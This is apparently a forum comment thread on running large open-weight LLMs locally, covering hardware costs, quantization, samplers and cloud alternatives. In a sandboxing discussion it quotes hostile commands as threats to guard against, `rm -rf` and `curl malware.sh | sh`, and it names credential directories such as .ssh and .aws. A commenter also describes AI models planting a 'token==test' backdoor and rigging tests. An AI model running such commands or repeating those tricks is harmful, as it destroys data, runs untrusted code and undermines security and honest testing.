Jamesob's guide to running SOTA LLMs locally
github.com
github.com
The warning I would have for everyone is to temper your expectations and read the fine print carefully. The big build in article starts off with a $40K budget and then includes 4 GPUs that are $12K each. For those doing the math, this build is going to cost more like 50-55K.
Local setups also often rely on quantization and techniques like REAP to fit the models on their hardware. You will read a lot of claims that 4-bit quantization is lossless, but those claims come from KL divergence measurements on a small corpus. Use one of these 4-bit models on long context coding tasks and the quality will be noticeably less. Even for non-coding tasks like dataset analysis, I can measure a substantial quality difference between 4-bit models, 8-bit quants, and even some times the full 16-bit source.
This article is also encouraging the use of a REAP model, which means someone has cut out some of the weights to make it smaller. The idea is to remove weights that are less useful for certain tasks, but again this is going to reduce the overall quality of the output.
The trap is that people say "I'm running GLM-5.2 locally!" and it sounds amazing when you look at the GLM-5.2 benchmarks. However they're not actually running GLM-5.2, they're running a model derived from GLM-5.2 that discards most of the bits and drops some of the experts. It does not perform the same as what you see in the benchmarks. In my experience, the divergence between a quantized/REAP model and the parent model is unnoticeable when you try it on very small tasks or chat, but becomes painful when you start trying to use it on long-horizon tasks where little errors start compounding.
Then you get into the slippery slope of thinking you're $50K deep into this project, but what you really need is just one or two more of those $12K GPUs to use the next level of quantization that might improve the quality a little more and make your investment worthwhile...
For coding task, one needs to break the session among multiple calls I made https://github.com/aka-rider/orqestra but it's possible to do the same in almost any modern harness directly.
The main idea is: - separate session that burns context on reading code and calling tools (context7, etc) -> markdown report "here are relevant patrts of code, docs" "with evidence" to prevent hallucinations
- separate session for planning (architect) - (critic <-> architect) 1-3 times because small model skip over details - worker <-> validator, again, the same reason
Qwen3.6 can run for hours looking for a complex bugs in read-only mode, and usually it gets it. Proposed fix would probably be hacky, but so as Sonnet's
Qwen3.6 can mechanically write code by Opus-made plan. You would have to prompt afterwards:
"Review your own changes. Any bugs? Cross-validate against the original plan - any gaps? Any violations of CLAUDE.md"
But again, I need to do this for Sonnet. But also I use local llms for reindexing knowledge base.
Grooming tickets: I can leave a caveman note "single panel for errors rendering, move all error messages" and come back to 90% ready specs with the end goal and context.
My favorite example is Godot; most local models just can't get it through their thick AI skull that code alone won't be enough to generate working solutions. They must accept a more complex harness, or you must provide much more info that eats the precious available context on every run.
As a simplest example, when you ask "explain what this code does" advantage of large models is negligible.
I tried Fable, "look at this repo, find all bugs" — yeah, neither Qwen nor Opus can do this.
> I can almost guarantee your approach will break down once you get a project large enough or switch to a less popular language.
I can guarantee you it is not, I used my Qwen on 10-15 years of PHP — I just know how and where it will break; what to ask for, what not. Orqestra was/is self-hosted, being developed by, well, orchestra of Qwen agents.
Moreover, Opus and GPT-5.5 break similarly, yeah they will withstand much more pressure, but they will hallucinate and loop nevertheless. My Qwen experience translates seamlessly. I learned so much about agentic engineering, harnesses, tooling, building custom MCPs...
I'll go on a tangent but to me that's what we're all seeing. It's the "record number of CVEs found by AIs" thing: these tools are extremely good at searching inside code. And that is a godsend.
We' got people (claiming they're from Anthropic) posting comment saying: "Yes GLM 5.2 found that security bug in library xxx, but we just tried with Fable and it found it too".
More code-searching, more bugs finding. Dick-measuring contests on bug finding abilities.
But the headlines we don't see at all are: "1000 CVEs found by AI, 1000 CVEs fixed by code written by AI". These are nowhere to be found.
We don't see "GLM 5.2 suggested an elegant fix to CVE-2027-xxxxxx" to then have a paid Anthropic shill posting "Fable suggested an eleganter fix than GLM 5.2".
These headlines are, as of 2026, nowhere.
You wrote the result would be "hacky". Here's why I saw from a top, paid for, SOTA model from the top company of the moment: instead of doing two integers comparison (literally one line of code) to verify that a value is between a range, the thing somehow noticed a "pattern" in the hexadecimal representation of the two values and went insane. It started converting the value to its hexadecimal string representation and then started doing substring string matching on that.
"Hacky" is too nice of a word.
This is pure garbage.
Those who go hiking "while their agents ship features" don't realize the level of underperforming, buggy, insecure crap that their LLMs are generating.
I found it very interesting the schism between those who use LLMs to find issues but who verify/modify or even don't use at all the fix they suggest and those who vibe-code while on a yoga retreat.
It's 2026: LLMs do find bugs. But can they fix them?
And do we even care: isn't finding a bug 99% of the job?
> underperforming, buggy, insecure crap that their LLMs are generating
The biggest challenges with AI-generated code are: models actively destroy security features, Opus explained to me once that authorization mechanism is "bad development experience" all while making a backdoor (he made a skeleton key if token=="test" then all permissions granted). Also models actively destroy QA gates. I don't even complain when they delete tests - at least it's visible, they can flip condition to make a test pass, and with vast code changes these are hard to spot.
I myself, and some people I know "vibe-code" professionally though, but then we often assess not the code but it's behaviour. For instance, whether hand-made tests are all pass, p95 is under 50ms, and so on, I may not care about the implementation details.
On the other hand, my friend told me about garage owner he visited, 60 yrs old auto-mechanic, CRM, parts inventory management, payments processing terminal, passwords in txt, people's personal data God knows where, could be unprotected MySQL looking into the Internet bare for all we know.
2026 onwards will be wild.
(If you’re curious, it was running in Pi, but somehow convinced itself it was running in Claude instead and started trying to call Claude tools that didn’t exist)
I tried all frontier Chinese models, and Qwen is the one running the best in ClaudeCode, my personal theory, it's because Qwen was distilled from Opus.
The best NV4FP quant for 5.2 appears to be lukealonso's at https://huggingface.co/lukealonso/GLM-5.2-NVFP4, and it is capable of good throughput (75-100 tps) without losing much reasoning performance. Allowing for overhead for the KV cache and other requirements, this quant will (barely) run in 8-way tensor-parallel mode on 8x RTX 6000 cards. Not too long ago it was possible to put an 8x machine together for less than $100K USD, but that's probably not true now, assuming you buy all-new components.
It'll almost certainly be worth it, given the abusive behavior we've seen and will continue to see from the major closed-model providers. If I hadn't already put a similar rig together, I'd be kicking myself. But getting it running well is by no means as simple as buying a bunch of RTX6K cards and calling it a day, and people need to know what they're getting into.
Local AI is in its Altair and IMSAI days. There's no turnkey Apple II or C64 on the market yet, much less an IBM PC. Hardware, yes -- you can buy a capable box off the shelf from various vendors -- but you have to be prepared to take up a whole new hobby when it comes to getting a complete system working well.
The proper financial comparison for GLM-5.2 would be one of the providers on OpenRouter or renting a server as needed. Compare apples to apples.
You will almost certainly never break even compared to paying per token.
Local LLMs at this scale are only worth it if you have extremely strict requirements that data not leave the premises.
They could 10X the prices and you’d still be better off. It’s also unlikely that prices go up enough to warrant a $100K local investment to prevent paying a couple bucks per million tokens.
> or denying you service
I guess you’re not familiar with OpenRouter? There are many providers there. There are providers outside of OpenRouter. There will always be someone to take your business.
> or somehow abusing your data...
If data security is your concern then you’re better renting a server as needed still.
If you cannot tolerate any data leaving, then local models are the only way. You pay a high premium for it!
Still... if it's not your weights, running on your box, you're always going to be behind somebody else's 8-ball. Everybody has to decide for themselves where their priorities lie.
The Openrouter providers the GP referenced were never at the "free money party". The actual cost of running something like GLM5.2 is well understood and tokens from those providers are not sold at a loss.
Obviously running things locally is more expensive but that all comes down to economies of scale. GLM5.2 is as expensive as it will ever be, barring an increase in demand that forces/allows providers to realise windfall gains disconnected from their underlying costs (always possible, but not the point).
With z.AI GLM Coding Subscription for 1344 USD per year, that buys you 74 years.
Maybe if you want to host the model for a group of people or really need no artificial token limits, or maybe cannot use cloud models, then it makes more sense.
Obviously depends on the use case and threat model, but that hardware is publicly available at far less than $500k upfront.
Little tools for NLP, TTS, image processing, audio engineering, signal processing, diffusion plugin for Krita etc. are all great for local setup. I wrote a small piece on it few days back[1].
[1] https://abishekmuthian.com/multiple-20-ai-plans-are-better-t...
That said, modern LLM sampling algorithms like min_p, top_n sigma , etc heavily mitigate the performance penalty you get from doing long context tasks. Problems with long context come from accumulation of small sampling errors over time.
My qwen 3.6 27b (the dense one) runs perfectly well on coding tasks at the edge of its context window because I run it using modern LLM sampling stack, namely top N sigma of one, using DRY to stop repetitions and XTC as a superior alternative to temperature for diversification.
Yes there will be a paper soon on arxiv and hopefully NeurIPS proceedings talking about this phenomenon because it’s not well appreciated by the academic AI community yet.
Docs [1] say that the top_n_sigma is already in the default sampler list: "(default: penalties;dry;top_n_sigma;top_k;typ_p;top_p;min_p;xtc;temperature)"
[1] https://github.com/ggml-org/llama.cpp/blob/master/tools/serv...
> Local setups also often rely on quantization and techniques like REAP to fit the models on their hardware.
This seems to ignore the very real possibility of running SOTA models at full precision on ordinary local hardware using SSD offload. Yes this will be slow and usually have very low throughput (even batched decode can only achieve so much before power and thermal limits become important, and that still leaves you with slow prefill as a major bottleneck) but that's OK if you aren't expecting a real-time response to begin with and your volumes as a single user are low enough.
GLM-5.2 has 40B active parameters at a time. At Q4 that's 20GB. The best PCIe 5 SSDs can get 15GB/sec when everything goes well. Every expert load would take more than a second.
If you had enough RAM and enough SSDs in parallel you might get a couple tokens per second on a good day. If you left this machine running 24 hours straight, you might be able to get 200,000 tokens generated.
So it can be done, but only if you interact with your LLM like you're e-mailing someone back and forth and you're okay waiting until tomorrow for a response.
You would spend $50K to buy a machine that consumes 2000W and takes all day to produce as many tokens as I could buy on OpenRouter for $0.60. You would spend $5-15 on electricity depending on where you live.
If you have no other option but to process data locally and you must use a very large model and you aren't in a rush, this can do it. I would not recommend it unless you're desperate and operating inside of rigid constraints.
Just two months ago you could get RTX PRO 6000's for about $8500 on ebay, which is the MSRP.
The MSRP was raised to $13,250.
Warranty is very important for expensive cards like this. I don't recommend buying on eBay unless they come with a very big discount.
That is equivalent to 16.8 years of Claude Opus 4.8 or Codex GPT 5.5 at $200/mo.
I'm a huge fan of running local models, but they're still wildly expensive, lower quality, and possibly dangerous (if backdoored). I sincerely wish this wasn't the case.
(I'd be surprised if that local rig really can drive the equivalent of $4,000/month of API spend though, given that a local rig can run prompts in parallel a lot less effectively than Anthropic's many data centers.)
Inwrnt through 1B tokens my first month with an OEM spark. That's more than $1k of opus. Not a fair comparison, because token patterns are different, but since that time I have also seen a 2-3x improvement in then speeds.from improvements in vllm (mainly MTP). DiffusionGemma is around 4x regular gemma.
You don't own your fiber connection. So why try to own another rapidly depreciating, expensive, and annoying asset?
Rent cloud GPUs!
You get to participate in the ownership, data control, price control, and hacking culture without having to Frankenstein some hobbyist box that costs a ton, is distilled down to functional uselessness, and is a PITA to maintain.
People building this stuff are "year of linux on desktop"ing open weights AI. It's a huge opportunity cost - not just for you, but for the open source community at large.
You need to double down on big fat honking models that take multiple H200s to run. That's where the real power lies, and that's where our entire community needs to focus our efforts if we want to keep the delta between frontier and the proletariat small.
The more we build for people and enterprises to run big weights in private clouds, the better. That's the real treat to Google, Anthropic, and OpenAI. Your RTX cards don't make a dent in the death star.
You're in a small community of hobbyists. Cheap hobbyists who mostly don't pay for the stuff.
It's a bad growth market. It's a bad space to develop products. And it's as distracting to brilliant minds as bitcoin.
It's a suboptimal nerd snipe, and all the effort spent there is effort not being spent building actual frontier capabilities in the open.
"Locally" is a relative qualifier if one defines locality as not being reliant on a SaaS vendor. IOW, locality does not necessarily imply execution on machines specifically owned/operated by an organization.
> Rent cloud GPUs!
This would qualify as "locally" in the above definition. There is also a case to be made that h/w ownership (GPUs included) and operation can result in a net cost reduction for some use-cases.
However, where exposing intellectual property results in regulatory violations and/or undue legal exposure, running models "locally" is not only a good option, it is the only option.
Single mode fiber can serve for tens of years without problems and push the fastest speeds available today. I do not understand this comparison.
We need to own the software and the models.
Playing around with local models is like playing around with Ubuntu and Arch in the 00's. It's a fun toy, but it doesn't make a big economic dent, and it doesn't ensure we retain our rights and a slim capability gap against the frontier.
Developing software that works with big models, showing up with economic demand - that ensures that capability gets built and that open whittles away at closed at the very frontier.
More customers going to tiny hobbyist models also sucks oxygen out of the room for more large scale open models. We need to put economic demand on the larger open weights.
I see two futures ahead:
Future 1 - Big companies alone have access to the most productive models. Consumers play with API offerings and tiny RTX-scale models that lack the same capability.
Future 2 - A robust assortment of open weights models keep a very slim capability gap against the most mature frontier models. There's a viable economy around using and supporting these big models. Prosumers and enterprise can easily rent spot instances and spin up weights on-demand for a variety of tasks. There are rich model and fine tune marketplaces, a wide assortment of tools that can call these models, and easy tools to train models for any task from any foundation pretrain starting point.
I'd rather we go down path #2.
Like a car? Because I don’t want to depend on uber or a taxi service.
What does fiber have to do with anything? I don’t need the internet to run my local models.
The local LLM "privacy" war had been already lost.
And how exactly has the privacy war been lost?
GLM 5.2 is "almost Opus," and it needs at least 8xH200s for comfortable inference (so it's closer to $400k than $40k).
They suggest using this modified model:
>A REAP-pruned (≈22% of experts removed), Int8-mix NVFP4 quantized version of GLM-5.2, ≈594B parameters.
I wonder how it behaves in practice outside of benchmarks. Qwen3.6, even at 6-bit quantization, often gets stuck in loops while reasoning. And here they've also removed some experts. I mean, sometimes an 8-bit or 16-bit small model can be smarter than a lobotomized large model. I heard the consensus is you shouldn't go below 8 bit for coding.
Also, it's not clear what is left of the available context when you try to fit a lobotomized model into 4 RTX 6000s. Anything below 100k is barely usable because it often hits compaction before it's able to gather the necessary context P.S. found in the repos, 240k context
What is the behavior if one were to run GLM 5.2 with only a single H200 ?
Would it fail to run at all, or would it just run so slowly as to be unusable ?
I would like to prove out the build, and concept, of a SOTA model locally, but then backfill the rest of the GPUs in 18-24 months when they cost significantly less ...
going to need you to sit down for this one...
And labs are fully leaning into pricing for intelligence, so their margins are improving very quickly (which allows them to pay even more for existing compute)
I'd be shocked if current prices aren't the bottom for the next 18-24 months.
This week, we are banned from using anything more expensive than opus 4.6 and encouraged to use sonnet (but not sonnet 5! Thats expensive!) or lower for daily tasks to help manage costs.
Weeks ago, they gave exactly the same justification as you just gave; and it makes sense!
…but maybe not over the next 6 months.
> Maybe not over the next 18-24 months
Maybe not. Probably not, I guess.
A lot of money has been invested on the expectation that the current gen of hardware is going to reap a colossal profit, and the capex to replace it, is vanishing into investor skepticism as we speak.
It seems like most people have a very very low ability to forecast long horizon change in the current environment, but, in general… it seems like until demand drops, the chances of prices dropping is dubious; at best we get a price war with chinese models or a bubble pop; and even then, there are plenty of startups lurking to snap up cheap hardware.
For individuals, the horizon for buying cheap AI capable compute doesn’t seem close, at all, to me.
I assume you can then somehow run several hundreds of prompts concurrently?
Just want to note that for $3k you can get an M5 macbook pro with 48gb of shared memory, and it will not be a giant box. Also, consider committing to spending that money on a cloud hosting provider, which will be at least somewhat cheaper if not significantly cheaper. It is awesome being able to run models locally though.
So, I always thought local LLMs were toys not worth pursuing.
Only once have I tried something decent like Gemma 4 31B and Qwen 3.6 27B did I realize how incredibly useful they are.
You stop fearing you are sharing sensitive information.
You stop fearing you will run out of tokens.
You stop fearing about the availability of the remote AI.
Local LLMs are extremely valuable.
This translates to qwen 27b actually working fast enough for useful work on dual 3090s and being painfully slow on Macbook Pros. Also if you're running a big model on a macbook pro the UI gets laggy and the keyboard gets hot. Much better to run dual 3090s in your basement and connect to them from your Macbook.
Even a 128GB is $6.8k today. Still only 2/3 your quote.
Bandwidth is relevant (I have both a 5090 and an M4 Max 128GB Studio, so have direct comparison right here), but quote the cost appropriately!
Why are you throwing in extra cost for something thats not necessary? I know multiple people with 128GB Macs and none of us upgraded the storage. Especially not on a Studio (which isn't currently available).
I will say that their $3k number is off. I somehow missed that, and its too low.
Still 3x lower memory Bandwidth than a dual 3090 setup which you can build for $3k with parts from facebook marketplace and run in your basement.
2x3090 (has an nvlink bridge though it didn't seem to matter hugely for inference)
Qwen 3.6 27b int4: Concurrency 1: 68 tok/s output Concurrency 32: 363 tok/s output Prompt processing speed: 1520 tok/s
Qwen 3.6 35ba3b int4: Concurrency 1: 150 tok/s output Concurrency 32: 1083 tok/s output Prompt processing speed: 4324 tok/s
Macbook Pro m3 36gb RAM: Qwen 3.6 27b int4: Concurrency 1: 18 tok/s output didn't measure the other metrics and it was a slightly different benchmark.
The M5 hardware is amazing for what it is, but GPUs are still so much faster.
Running the models on the GPU box also means I can use the laptop on my lap instead of turning it into a hot plate.
Do you have this DRY docs?
Get a regular laptop and use the network to access the LLM
There are other arguments for running an ssh-able box in a closet somewhere too as with KVMs you can give an agent remote control over the machine itself such that it has vastly more capabilities than if it were controlling its own machine it's running on, as well as not needing to keep the MacBook open all the time just to have the agent finish running.
Use pi though; claude code has way too much bootstrap context; slows everything way down.
They have unified memory and respectable inference performance, and for some variations can be cheaper than video cards, especially if you get an older-gen high-end M series with a lot of RAM used or refurbished.
I've read that Apple has plans once the RAM bottleneck passes to offer more RAM in all their models, and that future M series GPUs and NPUs will be even better for local inference, so in the future I expect Apple to be a serious offering for local inference and AI research workstations.
And what about AMD and Intel Arc GPUs? They don't get as much love but I've heard they can be compelling for certain shapes of a local LLM configuration.
At this point though, I think we may be in a "renters market" for LLM compute. If you want privacy it might be better to rent GPU time in raw form or use spot pricing at various providers. It probably only makes sense to build if you have extreme privacy/security needs or just want to do it cause it's cool.
Do we have evidence that this will actually happen? Maybe the belief that it won't pass is what requires evidence, but I think there's a widespread feeling right now that things are just getting permanently worse and this is one example.
People do that all the time, and sometimes it doesn't pay off.
One thing holding back capacity expansion is that a lot of people are concerned this is a bubble. They're worried it'll pop and leave them with orphaned assets if they over-invest in production.
Of course maybe they're right and that will happen. If the data center construction boom ends, RAM prices will fall.
I went with this because a) the models I wanted to use are a little too big to fit comfortably in 24gb, plus I need room for a few additional small models for autocomplete and speech recognition, and b) I already had a cheap server to use and dual gpus would've required upgrading the mobo and power supply and probably the case as well.
It was definitely a little tricky to set up. The Intel line requires a driver package called "level zero" to support something called SYCL (Intel's version of CUDA basically, AFAICT) that was tricky to get working. I am running llama.cpp in a docker container, which also required some fiddling to get the container to see the card. You also need a kernel from the last few months.
Once I got it working though, the results are very impressive for a $1k investment. Qwen 3.6 35B at q4 quantization takes about 3/4 of the ram and delivers like 88 tokens/sec. So, if you want a decent-sized model for cheap, this is one way to go.
They both have GDDR6.
The B70 has 256 bit it bus at a clock speed of 2375mhz (608 GB/s), the 3090 has a 384 bit bus at a clock speed of 2438mhz (936 GB/s).
It isn't slower, it just has less channels, ie, it is less wide.
The side effect is Intel has fired their entire Arc team, including the driver team, as well have canceled all Celestial products (only low end combined GPU + IO die products will have Celestial, as its too late in production to change). All future Intel products will have Nvidia graphics tiles.
Llama.cpp is, of course, still trying to better support the existing Intel products, but its kinda hard when they might stop working any day due to driver breakage.
Can you point to a source of these wild claims?
Nova Lake (Series 4) is already too late in development to switch, so its shipping with Celestial, and Titan Lake (Series 5) after it will be essentially a Nova Lake refresh using a hybrid tile that is Celestial's graphics engine with Druid's media, memory, and bus controllers (since Druid development has been halted).
Serpent Lake (Series 6) will be the first that can ship with Nvidia tiles, which should launch in early 2028.
Unless something changes, there will be no DGPU Celestial products.
Unfortunately, the ink on the contract is already dry, so this is the end of Intel's GPU unit.
- Arc discrete (!) gaming (!!) GPUs are canceled,
- consumer gaming (!) SoC Serpent Lake w/RTX in 2028,
- Arc is continued in mobile, professional, iGPU, and DC GPUs,
- Arc team is just fine, Intel cut some jobs but not "the whole team".
Arc's team was disproportionately effected by the layoffs. A lot of the major engineers that worked there changed their Linked in details to list Nvidia, AMD, etc.
As for DC and Workstation GPUs, they also seem to be canceled.
We'll see next year, I guess.
Seemingly every available option has some subtle-gotchas about how easy it is to blow off your foot and effectively have no security at all. I use VMs because I actually trust that security is a foundational principle of the technology, not a well-if-you-use-these-20-flags-and-squint kind of deal.
You need to model attack vector first.
`rm -rf` - restricted write
`curl malware.sh | sh` restrict execution from writeable dirs (seatbelt/SELinux)
Restricted write to sensitive directories would most likely neuter most malware.
Credentials leak - cleanup environment, deny reading .ssh, .aws, other, and don't allow LLMs anywhere near production systems.
I made a small utility for MacOS https://github.com/aka-rider/leash
But it may be as well a bash script
personally, i think either a VM or microVM is the way to go. these things are actually designed as security boundaries, as opposed to containers. and as compared to bubblewrap, you can just give the agent a whole FS to work with and run it in yolo mode, whereas with bubblewrap you have to manually bootstrap the availability of each individual dev tool and make sure its config dirs and package caches and etc are mounted in a secure way and still will probably hit perm errors all the time. and there's just way less isolation.
also, something that has limited support in harnesses but IMO would make a lot of sense is running the harness process in the host, but having all the tool calls and file system interactions delegated to the VM. that way you keep all your session data and auth keys on the main machine where it can never get into context. otoh it makes your harness part of the security boundary, so that's the trade-off.
there's also all the usability questions around how to actually get data in/out of the VM. i have a script which can push local git repos into the VM and then pull from them as a remote, so the VM can't initiate any connection with the host doesn't need to hold git credentials. but ig for someone who wants their agent to push straight to GitHub that's a waste of effort.
options i've tried or seen for the VM itself: - qemu + libvirt: takes some doing to wrangle it together, but very battle tested and configurable - crun-vm is a PoC of higher level integration layer between podman and qemu, which is a really cool way to go about it. seems maybe abandoned but i just think it's neat and very existing tools/standards oriented rather than starting a new project and brand so i mention - libkrun is a newer entrant, and several ppl have built wrappers around it: - microsandbox - smolvm (posted/discussed on here recently) - krunvm
this is all Linux oriented, it's all i know.
The risky part is in the agent/harness and what tools it has access to.
You don't need to give GPU passthrough to the VM running the agent/harness.
There is still a risk of a prompt messing with the inference server, but I think that's a much lower risk compared to an agent doing whatever on its own.
This approach requires that you trust the llama.cpp codebase, essentially. It might be reasonable not to.
I suppose in principle there is the risk of a prompt exploit corrupting the inference server.
I'm curious if GMKtec's EVO-X2, with ~96GB of usable VRAM, is still a good solution for something like this for $3,399.
The caveat is that if you try to use multiple models on the same device at the same time, you thrash and destroy tok/s
But the ecosystem isn't as mature, so Whisper is still a valid option, even now. For example Parakeet uses Nemotron framework (made by Nvdia), normally you need CUDA, so you need to use an ONNX version instead on AMD. Meanwhile Whisper has VLLM and desktop apps like Buzz.
There aren't many benchmarks and they often don't have all the models, since STT doesn't get nearly enough attention as normal LLMs, but this is one of the more complete ones: https://artificialanalysis.ai/speech-to-text/non-streaming
Why ask FABLE 5000 to "summarize this email thread" when a tiny model can do the job?
Sure Codex3000 can oneshot your backlog, but why not use a subsidized subscription to do it for now? We're clearly not at the peak of these model's capabilities yet.
Buying four $13000 GPUs and several thousand dollars worth of supporting hardware seems crazy. This supply shortage has to end eventually, and I can buy billions of DeepSeek, MiMo, and GLM tokens, and use $100 or $200 a month subscriptions for the big guys in the meantime for the difference in price once that happens. And, you can't even run the full-sized GLM on that hardware, it is quantized and so is your KV cache; the degradation is small, but not non-existent. You're not running a model that's equal to what you get when you buy GLM tokens from Z.ai.
My recommendation for self-hosting is this: If you already have a 24GB or 32GB GPU, or two, or a recent Mac with 32GB or more, run the appropriate quantization of Qwen 3.6 27B or Gemma 4 31B. If your hardware is older and too slow for that, use the MoE, but know it'll be dumber. Use the tiny model for the stuff that doesn't need deep smarts: Research (give it a Brave or Exa MCP for web search), summarization, simple Python scripts for basic tasks, simple websites or web apps, categorization of stuff (I used Gemma 4 to review my past writing for friendliness and helpfulness), etc. It can also be a sub-agent for bigger agents (for those same kinds of tasks). Gemma 4 12B is an incredibly good model for its size, particularly for vision tasks, and in the 4-bit quantization (7GB on disk) it runs on anything, even a modern tablet or phone.
And, if you don't already have a big GPU or unified memory Mac, just wait. Use the cheap tokens every AI company wants to sell you, for now. A Claude or Codex or Gemini subscription is a good deal. Tokens from DeepSeek are a good deal, especially with Reasonix agent (which maximizes caching, which DeepSeek is uniquely good at, and cached tokens are uniquely cheap at DeepSeek). GLM is Good Enough and has a cheap coding plan. MiMo has the cheapest tokens for a 1T+ model in the game, though DeepSeek and GLM are better models, MiMo is fine.
When prices come down, I'll be speccing out a beast to run the big models, too. But, I'm not paying 4x for RAM and GPU and storage, and y'all shouldn't either. That's crazy. Computer prices go down over time. It is the law.
Especially when you realize you really want 8 of them. But...
You're not running a model that's equal to what you get when you buy GLM tokens from Z.ai.
... to be perfectly clear: you have no earthly idea what you're getting when you buy GLM tokens from Z.ai. Your options are to run locally, rent cloud hardware, or hope for the best.
to me, this is a "truck" approach to city driving as a single person who does not do furniture hauling every weekend. the sense of privacy and freedom is nice but online inference is more "economical" as multi-user load is more effectively served than going solo.
maybe new architectures would make it effective to do text inference locally [1], till then great on you if you can spend car money on your setup. hope it is a great learning experience as well.
The models are so powerful and consequently so expensive and confusing to use, I don't get all of it.
I’m pretty bullish that Apple will deliver something very competitive for the average consumer in the next couple years.
I don't understand why people are exchanging their brain wrinkles for access to a slop machine. I wonder if a good analogue would be a skilled carpenter being offered access to a machine which excretes furniture (one or two levels of quality beneath Ikea). Does it do the job? Most of the time. Does the carpenter enjoy the process? No.
Shouldn't the headline be about running SOTA _local_ LLMs, as GLM 5.2 is nowhere near a SOTA LLM?
Quadro RTX 6000 (Turing / 2080 Ti / 24GB @ 672.0 GB/s)
RTX A6000 (Ampere / 3090 / 48GB @ 768.0 GB/s)
RTX 6000 Ada (4090 / 48GB @ 960.0 GB/s)
RTX PRO 6000 Blackwell (5090 / 96GB @ 1.79 TB/s)